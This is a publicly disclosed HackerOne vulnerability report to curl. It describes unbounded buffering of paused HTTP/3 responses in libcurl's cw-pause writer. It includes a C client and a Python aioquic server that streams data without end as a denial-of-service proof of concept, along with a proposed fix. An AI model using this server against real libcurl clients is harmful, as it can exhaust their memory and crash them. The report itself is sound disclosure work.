HexBrain

curl · Report #3734947

HTTP/3 paused transfer buffers incoming data without bound up to ~1 GiB

N/Astatus
39upvotes
19 May 2026disclosed

How it was found

Hi all,

When a libcurl application's CURLOPT_WRITEFUNCTION returns CURL_WRITEFUNC_PAUSE, libcurl routes subsequent incoming body data through cw-pause (lib/cw-pause.c). The bufq inside cw-pause is initialised with BUFQ_OPT_SOFT_LIMIT and a chunk size of 16 KiB (lib/cw-pause.c:51-52), which causes bufq to bypass the chunk limit and allocate new 16 KiB blocks without bound. A comment at line 181 makes the design intent explicit: "should take everything up to OOM". There is no aggregate byte cap equivalent to the 64 MiB DYN_PAUSE_BUFFER guard that the sibling cw-out writer uses.

I think https://github.com/curl/curl/issues/4939 is relevant.

The gap is harmless on HTTP/1.1 and HTTP/2. On HTTP/1.1, libcurl stops reading the TCP socket when paused, the kernel receive buffer fills, and TCP backpressure stalls the server — in practice the cw-pause buffer holds only what was already in-flight at the moment of pause, empirically ~3.8 MB flat regardless of how long the pause lasts. On HTTP/2, http2_data_pause (lib/http2.c:2636) calls nghttp2_session_set_local_window_size(..., 0) when the pause flag is set, which zeroes the stream window and prevents the server from sending more data at the protocol level.

For HTTP/3 neither mechanism exists. h3_data_pause in both backends is a complete no-op on the pause branch:

/* lib/vquic/curl_ngtcp2.c:2119-2129 */
static CURLcode h3_data_pause(struct Curl_cfilter *cf,
                              struct Curl_easy *data,
                              bool pause)
{
  /* There seems to exist no API in ngtcp2 to shrink/enlarge the streams
   * windows. As we do in HTTP/2. */
  (void)cf;
  if(!pause)
    Curl_multi_mark_dirty(data);
  return CURLE_OK;
}

The quiche backend is identical (lib/vquic/curl_quiche.c:1194-1205). More importantly, cb_h3_recv_data (lib/vquic/curl_ngtcp2.c:1122) calls ngtcp2_conn_extend_max_offset unconditionally on every received DATA frame, and cb_h3_deferred_consume (lib/vquic/curl_ngtcp2.c:1150) does the same for both connection and stream windows. The server receives an uninterrupted stream of WINDOW_UPDATE credits, keeps transmitting at full speed, and everything lands in the unbounded cw-pause buffer chain.

The only ceiling is the QUIC connection window constant H3_CONN_WINDOW_SIZE_MAX = 100 * H3_STREAM_WINDOW_SIZE_MAX (lib/vquic/curl_ngtcp2.c:81), where H3_STREAM_WINDOW_SIZE_MAX is 10 MiB, making the ceiling 1,000 MiB. That is not a libcurl safety valve — it is a QUIC flow-control cap that only engages after roughly 1 GiB of unacknowledged in-flight data. On a memory-constrained host the OOM-killer fires well before then. On a 10 Gbps loopback the growth rate is in the hundreds of MB/s; on a 10 Mbps WAN link it is ~1.25 MB/s, still reaching several hundred MB before the connection window is exhausted.

cw-pause is installed for every transfer (lib/sendf.c:339-345), so any libcurl application that uses CURL_WRITEFUNC_PAUSE and speaks HTTP/3 is affected. Using pause semantics is documented and supported; nothing unusual is required on the application side.

The contrast with cw-out is direct. Both writers accumulate data during a sustained pause; cw-out has a hard 64 MiB cap (lib/cw-out.c:352-354, returns CURLE_TOO_LARGE); cw-pause has none and will run to OOM.

Proof of concept

Two components are needed: a libcurl client whose write callback always returns CURL_WRITEFUNC_PAUSE and never resumes, and an HTTP/3 server that streams a large response without waiting for the client.

C client (compile against a debug build with --http3-only support):

#include <stdio.h>
#include <curl/curl.h>

static size_t write_cb(char *ptr, size_t size, size_t nmemb, void *userdata)
{
  (void)ptr;
  (void)size;
  (void)nmemb;
  (void)userdata;
  /* Never unpause. Every byte the server sends lands in cw-pause. */
  return CURL_WRITEFUNC_PAUSE;
}

int main(void)
{
  CURL *easy = curl_easy_init();
  curl_easy_setopt(easy, CURLOPT_URL, "https://127.0.0.1:4433/stream");
  curl_easy_setopt(easy, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_3ONLY);
  curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L);
  curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L);
  curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
  curl_easy_perform(easy);
  curl_easy_cleanup(easy);
  return 0;
}

Python aioquic server that streams without end (pip install aioquic to install the dependency):

import asyncio
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3Connection
from aioquic.h3.events import HeadersReceived
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ProtocolNegotiated

CHUNK = 65536

class StreamingH3Protocol(QuicConnectionProtocol):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._h3 = None

    def quic_event_received(self, event):
        if isinstance(event, ProtocolNegotiated):
            self._h3 = H3Connection(self._quic, enable_webtransport=False)
        if self._h3:
            for h3ev in self._h3.handle_event(event):
                if isinstance(h3ev, HeadersReceived):
                    asyncio.ensure_future(self._send_forever(h3ev.stream_id))

    async def _send_forever(self, stream_id):
        self._h3.send_headers(stream_id=stream_id, headers=[
            (b":status", b"200"),
            (b"content-type", b"application/octet-stream"),
        ])
        payload = b"A" * CHUNK
        while True:
            self._h3.send_data(stream_id=stream_id,
                               data=payload, end_stream=False)
            self.transmit()
            await asyncio.sleep(0)   # yield, never send END_STREAM

config = QuicConfiguration(is_client=False, alpn_protocols=["h3"])
config.load_cert_chain("server.crt", "server.key")

asyncio.run(serve("127.0.0.1", 4433,
                  configuration=config,
                  create_protocol=StreamingH3Protocol))

Run the server, then start the C client and watch RSS via /proc/$(pgrep curl)/status. Expected trajectory on a fast loopback:

Baseline RSS:   ~4,000 kB
[  1s] VmRSS:  ~100,000 kB   (+~96 MB)
[  5s] VmRSS:  ~500,000 kB   (+~488 MB)
[ 10s] OOM-kill or VmRSS ~1,000,000 kB  (ceiling ~1 GiB)

Compare that to the HTTP/1.1 case: RSS flat at +3.8 MB after the first pause, write callback called exactly once with 16,384 bytes, server completely stalled by TCP backpressure. The HTTP/3 case has no equivalent brake because h3_data_pause is a no-op and the QUIC flow-control credits keep flowing unconditionally.

Fix

The cleanest fix is to add a byte-total guard at the top of the do loop in cw_pause_write (lib/cw-pause.c:177) mirroring what cw_out_append already does — ctx->buf_total is already maintained accurately:

if(ctx->buf_total + blen > DYN_PAUSE_BUFFER) {
  failf(data, "pause buffer not large enough -> CURLE_TOO_LARGE");
  return CURLE_TOO_LARGE;
}

That caps growth at 64 MiB for all protocols with a one-line change sharing the constant that cw-out already treats as authoritative. A complementary H3-specific fix would be to gate the ngtcp2_conn_extend_max_offset calls in cb_h3_recv_data (lib/vquic/curl_ngtcp2.c:1139) and cb_h3_deferred_consume (lib/vquic/curl_ngtcp2.c:1163) on the transfer not being paused — restoring semantic parity with the HTTP/2 path where the window is explicitly zeroed. Both applied together would be ideal: the cap in cw-pause as a universal safety net, the window gating as proper protocol-level backpressure for H3.

Thank you, AISLE Research Team

Impact

A malicious or misbehaving HTTP/3 server can cause unbounded memory growth in any libcurl application that uses CURL_WRITEFUNC_PAUSE, because paused response-body data is buffered without a hard cap instead of being backpressured effectively at the protocol layer. In practice, this might be a a denial-of-service issue that can drive the client process into excessive RSS growth and potentially OOM termination.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original